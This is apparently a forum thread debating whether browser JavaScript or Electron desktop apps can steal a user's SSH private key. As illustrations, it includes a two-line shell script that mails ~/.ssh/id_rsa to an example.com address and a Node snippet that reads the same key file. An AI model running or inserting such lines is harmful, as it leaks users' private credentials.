Web "applications" better have security in mind. For the end user running arbitrary JS with even more bare metal abilities it is just about as crazy as executing every attachment you receive in email.
Here's an email attachment that compromises your SSH private key:
#!/bin/sh
mail geofft@example.com < ~/.ssh/id_rsa
Can you provide an example of "arbitrary JS with even more bare metal abilities" that can do the same thing? I'll even visit your website, with JavaScript enabled, on my laptop with a private key that can access GitHub.
Their electron client is literally a remote administration toolkit, it has full access to FS (electron app) and it loads every script from their servers. On launch the desktop client opens websocket server for command and control listening.
They can just add something like require('fs').readFileSync(process.env.HOME + '/.ssh/id_rsa').toString() and send this to their servers, and you won't even notice that (since it doesn't require an update on client because the client is just a browser with full permissions that loads obfuscated code from their servers every time you launch it).
For the scope of the current conversation, Electron apps can already be file handlers on every single desktop platform, so we're pretty clearly not talking about Electron when we critique these new web standards. Electron doesn't care about your opinion of web standards or what is or isn't getting fast-tracked in Chrome, Electron can already do whatever it wants.
That's not to say that Electron's lack of sandboxing isn't a problem, it absolutely is. But it's just not really relevant to what we're talking about right now, and it's a problem that almost every native app platform shares with Electron.
One of the goals with introducing newer "riskier" standards on the web is to get an application platform that does have sandboxing -- it's to be able to use Electron and other unsandboxed apps for fewer things. Whether that's a good goal I'm not going to comment on; different people have different opinions on the direction of the web as an app platform and whether it's smart for Google to be breaking all these holes in an otherwise decent sandbox. But regardless, Electron is not the web.
1. Install Chromium from https://www.chromium.org/
2. Go to https://discord.com/ and click "Open Discord in your browser"
3. Discord can read files from ~/.ssh
You mention "Electron," but Electron is a local application. So it doesn't satisfy my request, which is that I want you to steal my SSH private key when I visit a website in a web browser.
running in-browser is not the same as installing their electron client.